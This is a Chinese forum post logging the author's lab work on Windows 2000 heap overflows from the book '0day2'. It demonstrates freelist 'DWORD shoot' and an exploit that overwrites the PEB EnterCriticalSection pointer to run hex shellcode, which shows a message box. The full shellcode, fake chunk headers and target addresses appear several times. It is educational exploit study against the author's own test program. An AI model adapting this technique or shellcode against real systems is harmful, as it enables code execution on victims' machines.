好久沒有發帖子啦!最近一直很忙!但是還是抽空學習啦下!
前段時間匆匆忙忙的把0day2上的堆溢出實驗做啦!
可能當時太浮躁啦,很多細節沒注意!結果:實驗結果很不滿意!所以就有啦這一篇!!
上一篇是發布在cnblogs.com的。后來管理提醒我,我們不討論這種技術!舊書重溫:0day2【7】堆溢出實驗(很失敗的一篇)
所以來 F4ck 發布吧!
0day2第五篇 堆溢出利用!
這章節,我細讀啦不下3遍!
但是還是感覺有些生疏,所以要想把這個實驗做好!一定要把此章節搞明白!
文章開始
0x01. 0day2第五篇 堆溢出利用! 多看幾遍,弄清楚!
0x02 此次環境 vc6 + windows2000 + od
0x03 第一個實驗 空表再分配新堆時(從空表上卸下一塊,分配新堆時的)dword shoot,此次試驗只是調試中體會dword shoot,
原理:空表是雙向的
<ignore_js_op> <ignore_js_op>
總結:在鏈表卸下時, 假造的node的FLink的值將寫入到BLink的地址處(Flink = Forward前 link ,指向高地址; BLink = Behind 后 Link,指向低地址)
代碼:
- HANDLE hp;
- HLOCAL h1,h2,h3,h4,h5,h6;
- // 堆空表卸載時的dword shoot
- //1 斷點
- __asm int 3
- hp = HeapCreate(0,0x1000,0x10000); // 創建新的堆,不可擴展的堆 只存在空表
-
- //2 申請6個8 字節的堆內存
- h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
- //3 釋放1 3 5 這時 空表第3項 即 free[2] 上會有3個彼此相連的node (申請的8字節 在加上頭信息共16字節所以16/8 = 2,連入 free[2] )
- HeapFree(hp,0,h1);
- HeapFree(hp,0,h3);
- HeapFree(hp,0,h5);
- //4 這時候 h5 是free[2] 最后一項,如果再分配8字節的堆內存,會將h5卸下來,這時就存在dowrd shoot,執行到這步停下來,修改h5的值
- //5 sheng qing 8 byte new dui -> dword shoot
- h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
復制代碼
注意一定要replease模式生成,然后運行,od調試
<ignore_js_op>
下載od已經斷在啦 int 3 處;nop掉 往下走 注意 hp h1,h2,h3,h4,h5,h6 的數值
神器od已經將 代碼注釋的很完美啦
我就不演示調試過程啦
直接來到 //4 這時候 h5 是free[2] 最后一項,如果再分配8字節的堆內存,會將h5卸下來,這時就存在dowrd shoot,執行到這步停下來,修改h5的值
我們開始手動修改 h5
<ignore_js_op>
此時我的PC的h5是003E06C8
在數據區 Ctrl+G l來到 003E06C8 處 ,這就是h5內存的起始地址,其實h5應該包含頭部 我已經陰影標注 共16字節
繼續執行下去 來到 h5釋放后
<ignore_js_op>
這時的h5(003E06C8)處已經變了樣!
陰影處是FLink 后邊的是BLink
我們修改下 Flink 修改為4444,Blink 為0000,(因為卸下是將 會 44444寫入到00000處,會報錯)
<ignore_js_op>
將od的調試設置下!把忽略全去掉
繼續F8 ,觸發斷點
<ignore_js_op>
仔細觀察
MOV DWORD PTR DS:[EDX],ECX
此時 ecx 44444444; edx 00000000
驗證完畢
0x04 第二個實驗 StackAttackEnterCriticalSectionPointer
狙擊 EnterCriticalSectionPointer 指針
為神馬搞這個指針呢 !
<ignore_js_op>
指針在哪里呢
<ignore_js_op>
首先自己找到 這個指針
- __asm
- {
- xor eax,eax
- mov eax,fs:[eax+0x30] //peb
- lea eax,[eax+0x20] //EnterCriticalSectionPointer
- mov eax,[eax] //EnterCriticalSection addr 這個是這個函數的地址
- }
復制代碼
<ignore_js_op>
EnterCriticalSectionPointer 0x7ffdf020
- char shellcode[] = //this my shellcode msg ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
- "\x90\x90\x90"\
- "\x16\x01\x1A\x00\x00\x10\x00\x00"\
- "\x88\x06\x36\x00\x20\xF0\xFD\x7F"; //20 nop
- //"\x90\x90\x90\x90\x90\x90\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90"; //20 nop
- HLOCAL h1=0,h2=0;
- HANDLE hp;
- hp = HeapCreate(0,0x1000,0x10000);
- h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,208); // 208 因為我的msg len 長啦!調試需要
- memcpy(h1,shellcode,0x200); //0x200 = 512
-
- h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
復制代碼
原理 <ignore_js_op> <ignore_js_op> <ignore_js_op> <ignore_js_op>
首先我們來定位 shllcode 修改為
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90"; //20 nop
- //209 216
- // 181 +20 + 8 + 20
復制代碼
<ignore_js_op>
我們看到h1是 360688
內存 我已經陰影標注啦
其中紅色部分是 hp分配 h1后,剩下的部分 node 指向free[0]
如果在分配就會改變此處(紅色標記處)如果我們通過memcpy代碼覆蓋掉這部分,就可以狙擊 EnterCriticalSectionPointer
下面是 memcpy后的 內存情況
<ignore_js_op>
比較上一圖 我們發現 紅色部分被我們的 91 -98 控制啦 那么91 -98 就是我們 修改的關鍵
如果修改呢 根據F =》B的原理 我們把 91-94不知為我們shellcode 地址 也就是 h1地址 360688
將 B 部分 95 -98 為 EnterCriticalSectionPointer 7FFDF020
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
復制代碼
<ignore_js_op>
我們已經控制啦
調試發現會存在 書中所說的 2次 dword shoot 造成我們的shllcode偏移 4字節處被污染!
我們將shellcode頭部填充20 nop 驗證下
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
-
- "\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
復制代碼
將 下面的20 個 nop提到頭部
<ignore_js_op>
<ignore_js_op>
紅色部分 就是 2次dword的污染
<ignore_js_op>
還好 無關緊要
接下來解決問題,恢復被我們修改的EnterCriticalSectionPointer
__asm { xor eax,eax mov eax,fs:[eax+0x30] //peb lea eax,[eax+0x20] mov eax,[eax] //這就是 EnterCriticalSection 地址啦 77F82060 (徐調試)
} 這實驗 我就不做啦
以下code是修復 的代碼
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060 |mov[eax],ebx
- "\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
-
- "\x90\x90\x90\x90\x90\x90\x90\x90"\
- "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
復制代碼
到現在 還沒有成功!
接下來就是修復下 尾塊的頭 現在尾塊被我們的數據覆蓋為啦90909090當然不對,所以異常
直接copy沒被破壞的頭結構
00360758 15 01 1B 00 00 10 00 00
先試試這個吧
修改啦還是不行 可能 還是2次 dowrd shoot 的臟數據問題
但是據說 那幾句代碼 可以忽略
為了保險 在產生臟數據的后面放4個 nop
最后的
- //2 stack overflow
- char shellcode[] = //this my shellcode MSG ; Len is 181
- // 1 2 3 4 x x x x |mov eax,0x7FFDF020| mov ebx,77F82060 |mov[eax],ebx
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
- "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
- "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
- "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
- "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
- "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
- "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
- "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
- "\xFC\x53\xFF\x57\xF8"\
-
- "\x90\x90\x90\x15"\
- "\x01\x1b\x00\x00\x10\x00\x00\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90"; //20 nop
- //209 91 92 93 94 95 96 97 98
- // 181 +20 + 8 + 20
復制代碼
去掉int 3 直接運行
當當當 msg 出來啦
<ignore_js_op> |